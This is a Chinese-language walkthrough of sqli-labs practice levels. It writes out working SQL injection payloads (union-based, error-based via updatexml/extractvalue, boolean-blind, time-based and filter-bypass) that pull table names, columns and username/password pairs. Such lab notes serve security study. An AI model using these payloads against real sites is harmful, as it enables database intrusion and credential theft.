目录
sqli-labs-less1
1.less1普通解法
1.在url里面填写不同的值,返回的内容也不同,证明,数值是进入数据库进行比对了的(可以被注入)
2.判断最终执行的sql语句的后面还有内容吗,并且能够判断是字符型的拼接还是数字型的拼接
3.判断当前语句查询的字段数,也就是有几列(order by 1..几)哪个数出错了就是有n-1个字段
4.判断查询语句哪些字段是显示出来的
5.利用上一步的回显和database(),version()函数回显数据库名和版本号
6.爆出来哪些表有可能存在用户名和密码,根据sql原始表的特性知information_schema数据库下的tables表里面有相应的表名
7.现在用户名和密码只可能在users表下,所有找出users表下有哪些字段,字段在information_schema数据库下的columns表里面有。
8.数据库知道了,表知道了,字段知道了,开始查询内容
2.less1解法2报错注入(union用不了时)
1.爆表名
3.less1解法3无列名注入
1.所以要另外找一个原始的数据库,看里面有没有这些信息,MySQL里面的sys库里面的
sys.schema_auto_increment_columns表里面有table_name
2.不知道列名,要么是猜列名,要么就用无列名注入,把列名爆出来
sqli-labs-less8
1.less8布尔盲注
1.爆数据库名
2.less8用python写布尔盲注脚本
1.爆数据库名
二分法爆数据库名
2.爆表名
3.爆字段名
sqli-labs-less9
1.时间注入
1.用python写时间注入脚本
sqli-labs-less1
1.post提交方式的注入
1.-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
2.-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
3.-1' union select 1,group_concat(password,0x3a,username) from users#
sqli-labs-less17
1.有过滤的注入
1、爆数据库名
2、爆表名
3、爆字段名
4、爆字段内容(用户名)
sqli-labs-less1
1.less1普通解法
1.在url里面填写不同的值,返回的内容也不同,证明,数值是进入数据库进行比对了的(可以被注入)
select * from users where id=' 1'--+ ' limit 0,1;(为什么要id=1'--+) 引号和前面的引号闭合,后面的引号被注释了
2.判断最终执行的sql语句的后面还有内容吗,并且能够判断是字符型的拼接还是数字型的拼接
--+是url里面的注释,因为#有其他用处,--空格里面的空格会被忽略
3.判断当前语句查询的字段数,也就是有几列(order by 1..几)哪个数出错了就是有n-1个字段
4.判断查询语句哪些字段是显示出来的
?id=-2'union select 1,2,3--+ (-1可以让union左边的查询为空,从而只回显1,2,3所在字段,就可以知道会显示哪些字段了)
UNION:它用于将两个或多个查询的结果合并为一个结果集,并且会去除重复的行。
5.利用上一步的回显和database(),version()函数回显数据库名和版本号
6.爆出来哪些表有可能存在用户名和密码,根据sql原始表的特性知information_schema数据库下的tables表里面有相应的表名
7.现在用户名和密码只可能在users表下,所有找出users表下有哪些字段,字段在information_schema数据库下的columns表里面有。
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'(限定数据库) and table_name='users' (限定表名)--+
8.数据库知道了,表知道了,字段知道了,开始查询内容
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+
2.less1解法2报错注入(union用不了时)
报错注入必须加concat函数将数据库名称连接到原始XML文档节点
利用updataxml()或者extractvalue()函数来报错
1.爆表名
?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,24),0x7e),1) --+
updatexml(1,2,3)里面要三个字段,1,3随便取,2是xpath路径,不对就报错,
正是利用这个报错注入
concat把0x7e,substring三个字段连接起来输出(把查到的数据用自定义符号连接起来)
group_concat把表里面每一行的结果拼成一个字符串输出(用在查询语句里面来查询的)
substring是截取字符串的一部分,末尾1,20是截取范围
?id=-1' and extractvalue(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,24),0x7e)) --+
extractvalue(1,2)里面两个字段1随便,2错误报错
concat把0x7e,substring三个字段连接起来输出
group_concat把表里面每一行的结果拼成一个字符串输出
substring是截取字符串的一部分,末尾1,20是截取范围
3.less1解法3无列名注入
当information_schema库被过滤了,就不能用了,里面的表名,列名,字段名就查不到了
1.所以要另外找一个原始的数据库,看里面有没有这些信息,MySQL里面的sys库里面的
sys.schema_auto_increment_columns表里面有table_name
能查到users表名,但也仅限表名
2.不知道列名,要么是猜列名,要么就用无列名注入,把列名爆出来
在知道的数据库名下查询这个select * from (select * from users a join users b)c;
因为连接的是两个相同的表,就会报错:字段重复,就知道重复的字段是什么了
join是连接两张表,最后的c是因为子查询必须有个别名
用using()排除已经知道的字段,就会爆出下一个字段select * from (select * from users a join users b using(id))c;
sqli-labs-less8
1.less8布尔盲注
当输入id=1之类的东西,他的回显只有两个值,一个对,一个错,就要用布尔盲注
联合注入是需要页面有回显位。如果数据不显示只有对错页面显示我们可以选择布尔盲注
1.爆数据库名
对的回显
错的回显
所以115就是数据库名的第一个字母的asc码,改substr后面的截取字段就可以一个个把数据库名爆出来
2.接着爆表名
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101--+
3.接着爆字段名
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
2.less8用python写布尔盲注脚本
1.爆数据库名
二分法爆数据库名
2.爆表名
3.爆字段名
sqli-labs-less9
1.时间注入
网页表现为,不管对错,都是一样的画面
比如sqli第九题,怎么样都是you are in …….
利用if判断语句和布尔盲注,如果asc码满足条件就延迟4秒,如果不满足就直接返回
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
条件满足网页在转圈圈
条件不满足网页直接返回
1.用python写时间注入脚本
sqli-labs-less11
1.post提交方式的注入
和第一关一样,只不过是提交方式变化了,在表单标签里面注入
并且要填两个值
1.-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
2.-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
3.-1' union select 1,group_concat(password,0x3a,username) from users#
sqli-labs-less17
1.有过滤的注入
第17关(username被转义了,只能name是正确的,然后在password注入)
1、爆数据库名
1' and extractvalue(1,concat(0x7e,database(),0x7e))#
2、爆表名
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#
3、爆字段名
1' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c))#
4、爆字段内容(用户名)
如果直接查询的话会报错,因为被过滤了
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#
为了绕过他不让用users表的限制,把users表用(select username from users)代替
1' and (extractvalue(1,concat(0x5c,substring((select group_concat(username) from (select username from users)a),1,32),0x5c)))#
5、爆密码
1' and (extractvalue(1,concat(0x5c,substring((select group_concat(password) from (select password from users)a),1,32),0x5c)))#